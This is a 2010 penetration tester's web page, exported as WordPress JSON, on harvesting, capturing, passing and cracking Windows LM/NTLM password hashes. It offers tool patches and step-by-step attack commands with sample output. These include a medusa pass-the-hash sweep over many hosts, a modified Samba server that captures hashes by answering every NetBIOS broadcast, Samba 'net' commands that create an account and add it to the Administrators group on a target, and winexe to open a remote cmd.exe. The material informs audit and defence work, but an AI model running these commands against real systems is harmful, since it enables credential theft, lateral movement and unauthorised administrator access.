{"id":55,"date":"2010-05-17T13:44:00","date_gmt":"2010-05-17T19:44:00","guid":{"rendered":"http:\/\/www.foofus.net\/?page_id=55"},"modified":"2010-05-17T13:44:00","modified_gmt":"2010-05-17T19:44:00","slug":"passwords-hashes","status":"publish","type":"page","link":"http:\/\/h.foofus.net\/?page_id=55","title":{"rendered":"Passwords &#038; Hashes"},"content":{"rendered":"<h1>Passwords &amp; Hashes<\/h1>\n<p>I work a lot with hashes \u00a0(i.e. one-way encrypted hashes of passwords). This work includes password hash extraction, cracking of the hashes, and using them as-is. The following is a brief overview of the code I&#8217;ve developed for this work and some of the tricks to using it.<\/p>\n<h2>Hash Usage: Gathering The Hash<\/h2>\n<p>This page focuses on two specific areas: LM\/NTLM password hashes (what  tools like <a title=\"FgDump\" href=\"http:\/\/www.foofus.net\/?page_id=36\">FgDump<\/a> extract) and LM\/NTLM challenge\/response hashes \u00a0(the  actual authentication exchange performed over a network).<\/p>\n<h3>LM\/NTLM Password Hashes<\/h3>\n<p>Microsoft Windows stores user passwords in the system\u2019s password database (called \u201cSAM\u201d) in an encrypted hash. The encryption schemes used are one-way, or non-reversible, meaning that this data cannot be decrypted through simple means. For example, the following is a sample entry from a SAM database:<\/p>\n<p><code>Administrator:500:207277225E983B147AC464727886BD82:90BBDB25BC6556610DAA4F03900FBE92:::<\/code><\/p>\n<p>This password database entry contains the older LAN Manager Network Protocol (LM) and NT LAN Manager (NTLM) encrypted hash for the account.<\/p>\n<p>To extract a system&#8217;s password database, I tend to rely on our FgDump application. FgDump is a wrapper application which pulls together our version of PwDump, in addition to several password-related utilities (e.g. cachedump). It also handles starting and stopping anti-virus applications, which can cause issues during this type of activity (e.g. crashing the system or sending up confusing alerts, but not typically stopping the activity).<\/p>\n<p>One of the issues with the Microsoft Windows account access mechanisms is that they use a token-based model to handle user authorization tasks. Once a user has been authenticated via logging in, they have a token associated with processes they are running. This presents an opportunity for a privileged user, such as an administrator, to physically read the memory associated with that process and extract the running user\u2019s token. With this token, it is possible to invoke other processes as that user, without the need for authentication at all. The net result in a scenario such as this is that a local administrator is able to elevate his or her privilege to that of any logged-in user, including, potentially, a Domain Administrator. Attackers can also extract from the token the account\u2019s LM and NTLM hashes. Unfortunately, these values are not salted as are the cached credentials.<\/p>\n<p>One of the most popular methods of abusing tokens is through the MetaSploit Incognito function, or using Incognito itself. While this is a fine approach, I&#8217;m a fan of the utility WhosThere. WhosThere is a free tool from <a href=\"http:\/\/oss.coresecurity.com\/projects\/pshtoolkit.html\">Hernan  Ochoa\/CORE TECHNOLOGIES<\/a> which &#8220;will list logon sessions with NTLM credentials (username, domain  name, LM and NT hashes).&#8221; This is an incredibly powerful utility, as it allows you  to extract domain account hashes from member servers. These hashes can then be used  in pass-the-hash style attacks or simply cracked. While an excellent utility, WhosThere doesn&#8217;t function out of the  box on all versions of Windows. It provides an option (i.e. -a) to specify known  memory addresses for those versions which don&#8217;t automatically work. Unfortunately, as each version of  lsasrv.dll will result in new memory addresses, tracking these can be a hassle. The patch  provided here adds support to whosthere.exe to examine the system&#8217;s lsasrv.dll file  (via SHA-1 hash) and select from a list of known addresses. This list is currently  limited, but I plan to add to it as I encounter new versions. I&#8217;ve also modified FgDump to allow the running of WhosThere as part of its normal operation (revdump &#8211; reversible encrypted passwords &#8211; support is also included). The functionality is not currently included in the official FgDump release, due to a request to not redistribute the WhosThere application. However, the patches provided here are sufficient to build FgDump with these features for one&#8217;s own use.<\/p>\n<p><a title=\"WhoThere SHA1 Patch\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/whosthere-sha1-v1.diff\">WhosThere SHA1 Patch<\/a><\/p>\n<p><a title=\"FgDump - WhosThere\/RevDump Support Patch\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/fgdump-token-reversible.diff\">FgDump &#8211; WhosThere\/RevDump Support Patch<\/a><\/p>\n<h3>Challenge\/Response Authentication Exchanges<\/h3>\n<p>The challenge\/response authentication system currently employed by Microsoft products is an area of concern regarding how the current authentication schemes affect the security of a Microsoft Windows environment. Recent versions of Microsoft Windows-based operating systems support several methods to remotely authenticate network users, including LAN Manager (LM), LMv2, NTLMv1, NTLMv2, and Kerberos. These authentication mechanisms provide a means by which clients are able to prove their identities without actually sending a password to the server. It should be noted that LM and NTLM network-based authentication make use of the LM\/NTLM password hashes, but they are not the same algorithms. For  additional background on the LM\/NTLM challenge\/response  authentication  process, please review the following documentation: <a title=\"LM\/NTLM Challenge\/Response Documentation\" href=\"..\/?page_id=63\">LM\/NTLM Challenge\/Response  Documentation<\/a>.<\/p>\n<p>There are a number of methods for capturing challenge\/response authentication attempts: MetaSploit, Ettercap, Cain &amp; Abel, etc. My personal favorite is using a modified Samba server. In addition to logging the challenge\/response handshake, it provides the additional fun of responding to all broadcast NetBIOS name requests and uses a fixed challenge. All sorts of fun can be had by running this on an internal network or combining it with tools such as Karma. Redirecting mail clients, web-browsers, among other tools to this service via file:\/\/ or \\ URLs is also handy.<\/p>\n<p><a title=\"Samba Fixed Challenge\/Auto NMB Response\/Hash Pass Patch\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/samba-3.6.3-hash.diff\">Samba Fixed Challenge\/Auto NMB Response\/Hash Pass Patch (Samba 3.6.3)<\/a><\/p>\n<p><a title=\"Example smb.conf\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/smb.conf\">Example smb.conf<\/a><\/p>\n<h2>Hash Usage: Passing The Hash<\/h2>\n<p>During the course of performing internal audits (yes, all legal), I&#8217;ve  collected a  significant number of sam._ and pwdump files. Hell, it&#8217;s hard not get  them with all the fun toys vailable to us script  kiddies these  days. Unfortunately, conventional off-line password auditing tools can be  painfully slow to crack the accounts. Also,  it seems that the machines I pull the password hashes from are never the  hosts I really  want to have access to. Luckily, for us, people seem to like to use the  same password  everywhere. This is where &#8220;Passing The Hash&#8221; becomes useful.<\/p>\n<p>Let&#8217;s assume you successfully extracted a system&#8217;s local Administrator password hash(es). You want to know if that hash is good on any other hosts within the environment. This situation is exactly what drove the original creation of <a title=\"Medusa\" href=\"http:\/\/www.foofus.net\/?page_id=51\">Medusa<\/a>. The following example reads the PwDump output and checks each account against a list of hosts. It&#8217;s worth noting that hundreds of systems can often be checked in only a few minutes using this approach.<br \/>\n<code>% medusa -H hosts.txt -C pwdump.txt -M smbnt -m PASS:HASH<\/code><\/p>\n<p>Medusa v1.0-rc1 [http:\/\/www.foofus.net] (C) JoMo-Kun \/ Foofus Networks<\/p>\n<p>ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1\/10) User: Administrator (1\/3) Password: 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: (1\/1)<br \/>\nACCOUNT FOUND: [smbnt] Host: 192.168.0.20 User: Administrator Password: 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: [SUCCESS]<br \/>\nACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1\/10) User: bar (2\/3) Password: 49D58563113416EBAAD3B435B51404EE:AA3AFE73B6E0C2D87B3A428BF696AE71::: (1\/1)<br \/>\nACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1\/10) User: foo (3\/3) Password: 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: (1\/1)<br \/>\nACCOUNT FOUND: [smbnt] Host: 192.168.0.20 User: foo Password: 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: [SUCCESS]<\/p>\n<p>&#8220;Passing The Hash&#8221; style attacks seem to have been talked about forever.   <a href=\"http:\/\/www.google.com\/\">Google<\/a> for it, if you haven&#8217;t heard  of it. During my  research on this subject, I stumbled on a public <a href=\"http:\/\/www.cqure.net\/tools.jsp?id=2\"> tool<\/a> which looked to be just what I wanted. Unfortunately, I&#8217;m too  dumb to actually get  the thing to work correctly. There&#8217;s also been talk of adding a little  feature to  <a href=\"http:\/\/www.samba.org\/\">SAMBA<\/a> to perform the attack. Of  course, the only  <a href=\"http:\/\/www.securityfocus.com\/bid\/233\/discussion\/\">implementation<\/a> of this I could  locate was from 1997. That really did not do me a whole lot of good  since SAMBA wasn&#8217;t used  for much more than <a href=\"http:\/\/www1.corest.com\/common\/showdoc.php?idxseccion=11&amp;idx=87\"> file and print sharing<\/a> at that time. After a little bit of research, I found that a lot has changed regarding  SAMBA since 1997.  The &#8216;net&#8217; command added in version 3 can do some fairly cool  things. Below are several patches against SAMBA to  implement LM,  NTLM and NTLMv2 hash passing. Here&#8217;s how to have fun with them:<\/p>\n<ul>\n<li>Grab some LM\/NTLM hashes (sniff, hack, ask politely)<\/li>\n<li>Patch\/compile\/install SAMBA<\/li>\n<li>Set SMBHASH environment variable\n<ul>\n<li><em>% export  SMBHASH=&#8221;569C0AB914A092E9C9FC602507D10E15:6FA9B64FB14A1663B9A5CA02E7BACF05&#8243;<\/em><\/li>\n<\/ul>\n<\/li>\n<li>Execute a SAMBA command\n<ul>\n<li><code>% smbmount \/\/fjall\/test \/data\/test -o  username=tridge,password=foobar<\/code><\/li>\n<li>**Password doesn&#8217;t matter as long as it isn&#8217;t blank,  username should be appropriate for the hash used<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Mounting shares is great and all, but wouldn&#8217;t it be really nice to have  an administrative level  account to which you know the password? Well, go for it then:<br \/>\n<code> export  SMBHASH=\"92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63\"<br \/>\nnet user ADD someuser somepass -I 192.168.0.80 -U administrator<br \/>\nnet rpc group ADDMEM administrators someuser -I 192.168.0.80 -U  administrator<\/code><\/p>\n<p>For additional fun, the <a title=\"winexe\" href=\"http:\/\/eol.ovh.org\/winexe\/\">winexe<\/a> tool can be used to remotely run arbitrary commands. It&#8217;s basically the  Linux equivalent of psexec and can be modified for full pass-the-hash goodness.<\/p>\n<p><a title=\"Winexe Pass-the-Hash Patch\" href=\"..\/jmk\/tools\/winexe-source-071026-passhash.diff\">Winexe Pass-the-Hash Patch<\/a><\/p>\n<p>Example usage:<\/p>\n<p><code>export   SMBHASH=\"92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63\"<br \/>\nwinexe -U administrator<\/code><code> \/\/somehost cmd.exe<\/code><\/p>\n<h2>Hash Usage: Cracking The Hash<\/h2>\n<p><a title=\"John The Ripper\" href=\"http:\/\/openwall.com\/john\/\">John The Ripper<\/a> is an excellent tool for cracking LM\/NTLM password hashes. Their Jumbo patches also include support I wrote for testing LM\/NTLM challenge\/response authentication attempts. The following linked page includes some documentation I&#8217;ve written up on dealing with these items.<\/p>\n<p><a title=\"LM\/NTLM Challenge\/Response Documentation\" href=\"http:\/\/www.foofus.net\/?page_id=63\">LM\/NTLM Challenge\/Response Documentation<\/a><\/p>\n<p><a title=\"RainbowCrack Algorithm Patch\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/rainbow-netlm-netntlm-jmk.diff\">RainbowCrack Algorithm Patch<\/a><\/p>\n<p><a title=\"John NetLM\/NetNTLM Helper Script\" href=\"http:\/\/www.foofus.net\/jmk\/tools\/jtr\/john-netntlm.pl\">John NetLM\/NetNTLM Helper Script<\/a><\/p>\n<h2>Old Related Pages<\/h2>\n<p><a href=\"http:\/\/www.foofus.net\/jmk\/smbchallenge.html\">www.foofus.net\/jmk\/smbchallenge.html<\/a><\/p>\n<p><a href=\"http:\/\/www.foofus.net\/jmk\/passhash.html\">www.foofus.net\/jmk\/passhash.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Passwords &amp; Hashes I work a lot with hashes \u00a0(i.e. one-way encrypted hashes of passwords). This work includes password hash extraction, cracking of the hashes, and using them as-is. The following is a brief overview of the code I&#8217;ve developed for this work and some of the tricks to using it. Hash Usage: Gathering The [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":227,"menu_order":3,"comment_status":"closed","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-55","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/pages\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/h.foofus.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55"}],"version-history":[{"count":0,"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/pages\/55\/revisions"}],"up":[{"embeddable":true,"href":"http:\/\/h.foofus.net\/index.php?rest_route=\/wp\/v2\/pages\/227"}],"wp:attachment":[{"href":"http:\/\/h.foofus.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}